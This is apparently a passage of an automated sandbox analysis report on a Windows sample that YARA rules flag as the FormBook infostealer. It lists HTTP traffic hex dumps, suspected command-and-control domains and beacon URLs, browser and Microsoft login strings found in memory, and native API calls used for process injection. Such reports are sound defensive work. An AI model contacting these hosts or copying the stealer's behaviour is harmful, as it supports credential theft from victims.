c3 1c d3 ba e6 2c a5 86 49 e1 29 ad ff 6e 55 71 8c 0c 33 1c e6 f8 d1 17 9b 47 b7 bf 3b be fa d9 cf 77 fe e3 f1 e6 21 7a f5 b5 d7 d0 f3 00 19 46 a5 82 7c 8e 4b 8d 3f 3d 82 1e d2 8a 86 44 eb 92 bb ab f5 45 2f 07 c8 30 f2 62 f2 55 aa 99 28 12 9a 1e 62 a8 b3 aa b8 aa 53 b7 2e 6b d1 b5 67 62 6b 08 a7 17 f6 af 43 9d 2a 56 1b a4 55 8a ac 63 59 13 2b de 1e cf 94 50 81 f6 68 9e 33 51 80 1a 7a 07 da 2b 4d c5 87 ba 64 0b f7 40 e3 38 f2 d0 22 55 cb 3b 19 bd bf 64 bf 6c 37 68 57 74 45 58 45 0b 20 b5 82 05 83 e5 8c 53 55 80 8d bc d8 8a b4 79 2a f1 c0 1f 20 f2 48 a3 d9 c8 2b cf b3 d4 74 15 3b 13 9a d4 0a 72 30 69 69 ab aa 84 2d 1c 62 8f 05 f9 34 d2 03 ba 72 0b 29 0b 0e b4 66 da 4d 65 f5 71 87 b4 59 73 d0 25 80 b1 11 cb e6 f6 b2 26 09 97 e9 21 e1 2c 51 54 ad 49 aa b5 8d 78 71 d5 f4 13 64 22 e5 4d 06 da 4b b5 f6 32 a6 8d 87 2a f0 68 ad c4 ad 98 70 53 ad 9f 59 80 9a 0f dd a9 db b7 dd 30 62 1b 58 19 ef a7 4e 05 19 a3 73 9b 72 ce 2e 30 09 ec 45 0b 2e 13 ca c9 ce 7d 34 61 82 33 01 2c 72 78 56 27 b6 12 99 ad 2f 11 b2 ac 09 a9 15 68 30 84 a4 92 4b 45 48 c2 69 7a 38 43 7b fe 5d e9 93 Data Ascii: 17ab^
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 10 Oct 2024 12:39:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://nakama2-sshl.xyz/wp-json/>; rel="https://api.w.org/"Content-Encoding: brData Raw: 31 37 61 62 0d 0a 15 83 5e 00 e0 af f7 7b 97 df a3 2a 3e fe db 7d 17 34 43 d4 7a cd bc ad 11 31 c6 6c a8 62 81 80 c9 16 b1 5d b7 5a d2 91 d4 f7 b6 ba 45 77 6b 1e 7e 54 79 66 bc 5b c6 40 cc cb 4b 1c 6f 76 17 b2 6b 0c 04 b3 c4 ae 14 0b 24 7c fd 47 dc 6b f3 95 33 ff d3 a9 0f 12 55 47 95 9e 1a 24 8a 14 94 e9 51 9f 96 6a 66 77 8b 77 be 2b de 9d 53 f8 57 38 c6 c5 27 29 9e 1d 17 8e cd ec cc be 7d f7 f1 d9 56 12 1b d9 12 38 32 89 3e 14 e4 92 10 fd 94 4b 73 e7 58 22 bf c2 4e 28 4e 54 4e a8 28 51 ef 24 26 72 22 45 28 91 85 10 15 12 25 08 24 8a ea 12 84 04 1d 25 65 28 3a 8a ae 64 19 e6 b2 ae 3d 9f 4d dd cd 42 f2 93 a6 0c fc 2d 13 9d 78 ee e5 d3 67 df 78 e5 0c 2a 4d c5 63 2b 3a 41 c8 39 96 23 6e d0 0b 67 d0 f8 42 6c 45 a5 a9 38 4a 39 d5 7a 8e 19 8c 30 e2 54 14 73 7c 40 71 8c a2 13 e7 40 64 2c bf 40 48 6c 45 27 08 39 c7 72 f4 c2 19 34 be 10 5b c0 e5 8f d7 d7 9f bc 41 c8 15 e6 23 8c 4e a0 04 1c 06 50 73 71 5e 1c 5b 9d e8 04 21 e4 7f 2c 3a 51 09 34 43 b5 82 9c ad e6 58 16 33 54 1a 53 cf 3c 4f 16 b5 5b 81 27 f4 1e ca 93 92 fb e6 e5 c9 1e a2 ca b0 94 43 0d 55 fa 9d ec e1 d8 ea 74 a2 0a 0c 45 69 49 95 06 33 c7 af 9f 7d 9e 4c 30 7a 59 25 41 2b 98 e3 05 83 65 2d 95 c1 28 95 c2 80 30 73 bc 64 99 29 e7 19 2c 58 0a 64 c7 72 1d 26 98 61 94 13 9d 52 0e f3 c0 f5 9d 46 83 7a 1b 43 13 0e 73 21 1d 64 f7 92 e4 cc cc 53 b9 00 85 e9 6d 38 97 aa a2 86 64 60 20 35 4c 0a ba 75 0d 70 a8 4b 29 60 2e 24 a3 0b 58 9d 4e 07 45 45 25 13 69 34 e0 b5 84 64 22 83 95 93 4b ce e5 12 6f 5f dd 88 33 71 88 14 f0 39 a6 dc 80 12 d4 00 46 66 5d c3 1c d3 ba e6 2c a5 86 49 e1 29 ad ff 6e 55 71 8c 0c 33 1c e6 f8 d1 17 9b 47 b7 bf 3b be fa d9 cf 77 fe e3 f1 e6 21 7a f5 b5 d7 d0 f3 00 19 46 a5 82 7c 8e 4b 8d 3f 3d 82 1e d2 8a 86 44 eb 92 bb ab f5 45 2f 07 c8 30 f2 62 f2 55 aa 99 28 12 9a 1e 62 a8 b3 aa b8 aa 53 b7 2e 6b d1 b5 67 62 6b 08 a7 17 f6 af 43 9d 2a 56 1b a4 55 8a ac 63 59 13 2b de 1e cf 94 50 81 f6 68 9e 33 51 80 1a 7a 07 da 2b 4d c5 87 ba 64 0b f7 40 e3 38 f2 d0 22 55 cb 3b 19 bd bf 64 bf 6c 37 68 57 74 45 58 45 0b 20 b5 82 05 83 e5 8c 53 55 80 8d bc d8 8a b4 79 2a f1 c0 1f 20 f2 48 a3 d9 c8 2b cf b3 d4 74 15 3b 13 9a d4 0a 72 30 69 69 ab aa 84 2d 1c 62 8f 05 f9 34 d2 03 ba 72 0b 29 0b 0e b4 66 da 4d 65 f5 71 87 b4 59 73 d0 25 80 b1 11 cb e6 f6 b2 26 09 97 e9 21 e1 2c 51 54 ad 49 aa b5 8d 78 71 d5 f4 13 64 22 e5 4d 06 da 4b b5 f6 32 a6 8d 87 2a f0 68 ad c4 ad 98 70 53 ad 9f 59 80 9a 0f dd a9 db b7 dd 30 62 1b 58 19 ef a7 4e 05 19 a3 73 9b 72 ce 2e 30 09 ec 45 0b 2e 13 ca c9 ce 7d 34 61 82 33 01 2c 72 78 56 27 b6 12 99 ad 2f 11 b2 ac 09 a9 15 68 30 84 a4 92 4b 45 48 c2 69 7a 38 43 7b fe 5d e9 93 Data Ascii: 17ab^
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 10 Oct 2024 12:39:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://nakama2-sshl.xyz/wp-json/>; rel="https://api.w.org/"Content-Encoding: brData Raw: 31 37 61 62 0d 0a 15 83 5e 00 e0 af f7 7b 97 df a3 2a 3e fe db 7d 17 34 43 d4 7a cd bc ad 11 31 c6 6c a8 62 81 80 c9 16 b1 5d b7 5a d2 91 d4 f7 b6 ba 45 77 6b 1e 7e 54 79 66 bc 5b c6 40 cc cb 4b 1c 6f 76 17 b2 6b 0c 04 b3 c4 ae 14 0b 24 7c fd 47 dc 6b f3 95 33 ff d3 a9 0f 12 55 47 95 9e 1a 24 8a 14 94 e9 51 9f 96 6a 66 77 8b 77 be 2b de 9d 53 f8 57 38 c6 c5 27 29 9e 1d 17 8e cd ec cc be 7d f7 f1 d9 56 12 1b d9 12 38 32 89 3e 14 e4 92 10 fd 94 4b 73 e7 58 22 bf c2 4e 28 4e 54 4e a8 28 51 ef 24 26 72 22 45 28 91 85 10 15 12 25 08 24 8a ea 12 84 04 1d 25 65 28 3a 8a ae 64 19 e6 b2 ae 3d 9f 4d dd cd 42 f2 93 a6 0c fc 2d 13 9d 78 ee e5 d3 67 df 78 e5 0c 2a 4d c5 63 2b 3a 41 c8 39 96 23 6e d0 0b 67 d0 f8 42 6c 45 a5 a9 38 4a 39 d5 7a 8e 19 8c 30 e2 54 14 73 7c 40 71 8c a2 13 e7 40 64 2c bf 40 48 6c 45 27 08 39 c7 72 f4 c2 19 34 be 10 5b c0 e5 8f d7 d7 9f bc 41 c8 15 e6 23 8c 4e a0 04 1c 06 50 73 71 5e 1c 5b 9d e8 04 21 e4 7f 2c 3a 51 09 34 43 b5 82 9c ad e6 58 16 33 54 1a 53 cf 3c 4f 16 b5 5b 81 27 f4 1e ca 93 92 fb e6 e5 c9 1e a2 ca b0 94 43 0d 55 fa 9d ec e1 d8 ea 74 a2 0a 0c 45 69 49 95 06 33 c7 af 9f 7d 9e 4c 30 7a 59 25 41 2b 98 e3 05 83 65 2d 95 c1 28 95 c2 80 30 73 bc 64 99 29 e7 19 2c 58 0a 64 c7 72 1d 26 98 61 94 13 9d 52 0e f3 c0 f5 9d 46 83 7a 1b 43 13 0e 73 21 1d 64 f7 92 e4 cc cc 53 b9 00 85 e9 6d 38 97 aa a2 86 64 60 20 35 4c 0a ba 75 0d 70 a8 4b 29 60 2e 24 a3 0b 58 9d 4e 07 45 45 25 13 69 34 e0 b5 84 64 22 83 95 93 4b ce e5 12 6f 5f dd 88 33 71 88 14 f0 39 a6 dc 80 12 d4 00 46 66 5d c3 1c d3 ba e6 2c a5 86 49 e1 29 ad ff 6e 55 71 8c 0c 33 1c e6 f8 d1 17 9b 47 b7 bf 3b be fa d9 cf 77 fe e3 f1 e6 21 7a f5 b5 d7 d0 f3 00 19 46 a5 82 7c 8e 4b 8d 3f 3d 82 1e d2 8a 86 44 eb 92 bb ab f5 45 2f 07 c8 30 f2 62 f2 55 aa 99 28 12 9a 1e 62 a8 b3 aa b8 aa 53 b7 2e 6b d1 b5 67 62 6b 08 a7 17 f6 af 43 9d 2a 56 1b a4 55 8a ac 63 59 13 2b de 1e cf 94 50 81 f6 68 9e 33 51 80 1a 7a 07 da 2b 4d c5 87 ba 64 0b f7 40 e3 38 f2 d0 22 55 cb 3b 19 bd bf 64 bf 6c 37 68 57 74 45 58 45 0b 20 b5 82 05 83 e5 8c 53 55 80 8d bc d8 8a b4 79 2a f1 c0 1f 20 f2 48 a3 d9 c8 2b cf b3 d4 74 15 3b 13 9a d4 0a 72 30 69 69 ab aa 84 2d 1c 62 8f 05 f9 34 d2 03 ba 72 0b 29 0b 0e b4 66 da 4d 65 f5 71 87 b4 59 73 d0 25 80 b1 11 cb e6 f6 b2 26 09 97 e9 21 e1 2c 51 54 ad 49 aa b5 8d 78 71 d5 f4 13 64 22 e5 4d 06 da 4b b5 f6 32 a6 8d 87 2a f0 68 ad c4 ad 98 70 53 ad 9f 59 80 9a 0f dd a9 db b7 dd 30 62 1b 58 19 ef a7 4e 05 19 a3 73 9b 72 ce 2e 30 09 ec 45 0b 2e 13 ca c9 ce 7d 34 61 82 33 01 2c 72 78 56 27 b6 12 99 ad 2f 11 b2 ac 09 a9 15 68 30 84 a4 92 4b 45 48 c2 69 7a 38 43 7b fe 5d e9 93 Data Ascii: 17ab^
Source: grpconv.exe, 00000003.00000002.3877214220.000000000545A000.00000004.10000000.00040000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000005.00000002.3876836526.000000000359A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://nakama2-sshl.xyz/bgpi/?PJ9L=YTBtpahDWzdXKpondkv4unjklxOnnU8zYfk5eJgvm8
Source: ooaSzUjoYqoTW.exe, 00000005.00000002.3878220025.00000000051A1000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.mudanya-nakliyat.xyz
Source: ooaSzUjoYqoTW.exe, 00000005.00000002.3878220025.00000000051A1000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.mudanya-nakliyat.xyz/tkqd/
Source: grpconv.exe, 00000003.00000003.2362407184.0000000007915000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: grpconv.exe, 00000003.00000003.2362407184.0000000007915000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: grpconv.exe, 00000003.00000003.2362407184.0000000007915000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: grpconv.exe, 00000003.00000003.2362407184.0000000007915000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: grpconv.exe, 00000003.00000003.2362407184.0000000007915000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: grpconv.exe, 00000003.00000003.2362407184.0000000007915000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: grpconv.exe, 00000003.00000003.2362407184.0000000007915000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: grpconv.exe, 00000003.00000002.3875818549.000000000285E000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3875818549.000000000287E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: grpconv.exe, 00000003.00000002.3875818549.000000000287E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: grpconv.exe, 00000003.00000002.3875818549.000000000285E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: grpconv.exe, 00000003.00000002.3875818549.000000000285E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: grpconv.exe, 00000003.00000002.3875818549.000000000285E000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3875818549.000000000287E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: grpconv.exe, 00000003.00000002.3875818549.000000000285E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: grpconv.exe, 00000003.00000003.2357697042.00000000078C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: grpconv.exe, 00000003.00000003.2362407184.0000000007915000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: grpconv.exe, 00000003.00000003.2362407184.0000000007915000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 0.2.lByv6mqTCJ.exe.410000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3876568128.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2131471529.0000000000411000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3876436404.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2132420078.0000000001750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3875595230.0000000000620000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.3876687207.0000000005530000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2134057488.0000000004430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 0.2.lByv6mqTCJ.exe.410000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3876568128.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000000.00000002.2131471529.0000000000411000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3876436404.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000000.00000002.2132420078.0000000001750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3875595230.0000000000620000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.3876687207.0000000005530000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000000.00000002.2134057488.0000000004430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Contains functionality to call native functions
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0043BFE3 NtClose, 0_2_0043BFE3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852B60 NtClose,LdrInitializeThunk, 0_2_01852B60
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852DF0 NtQuerySystemInformation,LdrInitializeThunk, 0_2_01852DF0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852C70 NtFreeVirtualMemory,LdrInitializeThunk, 0_2_01852C70
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018535C0 NtCreateMutant,LdrInitializeThunk, 0_2_018535C0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01854340 NtSetContextThread, 0_2_01854340
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01854650 NtSuspendThread, 0_2_01854650
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852B80 NtQueryInformationFile, 0_2_01852B80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852BA0 NtEnumerateValueKey, 0_2_01852BA0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852BE0 NtQueryValueKey, 0_2_01852BE0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852BF0 NtAllocateVirtualMemory, 0_2_01852BF0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852AB0 NtWaitForSingleObject, 0_2_01852AB0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852AD0 NtReadFile, 0_2_01852AD0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852AF0 NtWriteFile, 0_2_01852AF0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852DB0 NtEnumerateKey, 0_2_01852DB0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852DD0 NtDelayExecution, 0_2_01852DD0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852D00 NtSetInformationFile, 0_2_01852D00
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852D10 NtMapViewOfSection, 0_2_01852D10
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852D30 NtUnmapViewOfSection, 0_2_01852D30
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852CA0 NtQueryInformationToken, 0_2_01852CA0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852CC0 NtQueryVirtualMemory, 0_2_01852CC0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852CF0 NtOpenProcess, 0_2_01852CF0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852C00 NtQueryInformationProcess, 0_2_01852C00
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852C60 NtCreateKey, 0_2_01852C60
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852F90 NtProtectVirtualMemory, 0_2_01852F90
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852FA0 NtQuerySection, 0_2_01852FA0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852FB0 NtResumeThread, 0_2_01852FB0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852FE0 NtCreateFile, 0_2_01852FE0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852F30 NtCreateSection, 0_2_01852F30
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852F60 NtCreateProcessEx, 0_2_01852F60
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852E80 NtReadVirtualMemory, 0_2_01852E80
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852EA0 NtAdjustPrivilegesToken, 0_2_01852EA0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852EE0 NtQueueApcThread, 0_2_01852EE0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01852E30 NtWriteVirtualMemory, 0_2_01852E30
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01853090 NtSetValueKey, 0_2_01853090
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01853010 NtOpenDirectoryObject, 0_2_01853010
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018539B0 NtGetContextThread, 0_2_018539B0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01853D10 NtOpenProcessToken, 0_2_01853D10
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01853D70 NtOpenThread, 0_2_01853D70
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04604650 NtSuspendThread,LdrInitializeThunk, 3_2_04604650
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04604340 NtSetContextThread,LdrInitializeThunk, 3_2_04604340
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602C60 NtCreateKey,LdrInitializeThunk, 3_2_04602C60
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602C70 NtFreeVirtualMemory,LdrInitializeThunk, 3_2_04602C70
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602CA0 NtQueryInformationToken,LdrInitializeThunk, 3_2_04602CA0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602D30 NtUnmapViewOfSection,LdrInitializeThunk, 3_2_04602D30
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602D10 NtMapViewOfSection,LdrInitializeThunk, 3_2_04602D10
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602DF0 NtQuerySystemInformation,LdrInitializeThunk, 3_2_04602DF0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602DD0 NtDelayExecution,LdrInitializeThunk, 3_2_04602DD0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602EE0 NtQueueApcThread,LdrInitializeThunk, 3_2_04602EE0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602E80 NtReadVirtualMemory,LdrInitializeThunk, 3_2_04602E80
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602F30 NtCreateSection,LdrInitializeThunk, 3_2_04602F30
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602FE0 NtCreateFile,LdrInitializeThunk, 3_2_04602FE0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602FB0 NtResumeThread,LdrInitializeThunk, 3_2_04602FB0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602AF0 NtWriteFile,LdrInitializeThunk, 3_2_04602AF0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602AD0 NtReadFile,LdrInitializeThunk, 3_2_04602AD0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602B60 NtClose,LdrInitializeThunk, 3_2_04602B60
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602BE0 NtQueryValueKey,LdrInitializeThunk, 3_2_04602BE0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 3_2_04602BF0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602BA0 NtEnumerateValueKey,LdrInitializeThunk, 3_2_04602BA0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046035C0 NtCreateMutant,LdrInitializeThunk, 3_2_046035C0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_046039B0 NtGetContextThread,LdrInitializeThunk, 3_2_046039B0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602C00 NtQueryInformationProcess, 3_2_04602C00
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602CF0 NtOpenProcess, 3_2_04602CF0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602CC0 NtQueryVirtualMemory, 3_2_04602CC0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602D00 NtSetInformationFile, 3_2_04602D00
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602DB0 NtEnumerateKey, 3_2_04602DB0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602E30 NtWriteVirtualMemory, 3_2_04602E30
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602EA0 NtAdjustPrivilegesToken, 3_2_04602EA0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602F60 NtCreateProcessEx, 3_2_04602F60
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602FA0 NtQuerySection, 3_2_04602FA0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602F90 NtProtectVirtualMemory, 3_2_04602F90
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602AB0 NtWaitForSingleObject, 3_2_04602AB0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04602B80 NtQueryInformationFile, 3_2_04602B80
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04603010 NtOpenDirectoryObject, 3_2_04603010
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04603090 NtSetValueKey, 3_2_04603090
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04603D70 NtOpenThread, 3_2_04603D70
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04603D10 NtOpenProcessToken, 3_2_04603D10
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00648CA0 NtCreateFile, 3_2_00648CA0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00648E10 NtReadFile, 3_2_00648E10
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00648F00 NtDeleteFile, 3_2_00648F00
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00648FA0 NtClose, 3_2_00648FA0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00649100 NtAllocateVirtualMemory, 3_2_00649100
Detected potential crypto function
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00427FC3 0_2_00427FC3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0041F84A 0_2_0041F84A
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0041F853 0_2_0041F853
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_004110CA 0_2_004110CA
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_004110D0 0_2_004110D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_004261A3 0_2_004261A3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0041FA73 0_2_0041FA73
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00411230 0_2_00411230
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_004122C0 0_2_004122C0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0041DAF3 0_2_0041DAF3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00412DC0 0_2_00412DC0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0043E5B3 0_2_0043E5B3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00412640 0_2_00412640
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E01AA 0_2_018E01AA
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D41A2 0_2_018D41A2
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D81CC 0_2_018D81CC
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01810100 0_2_01810100
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BA118 0_2_018BA118
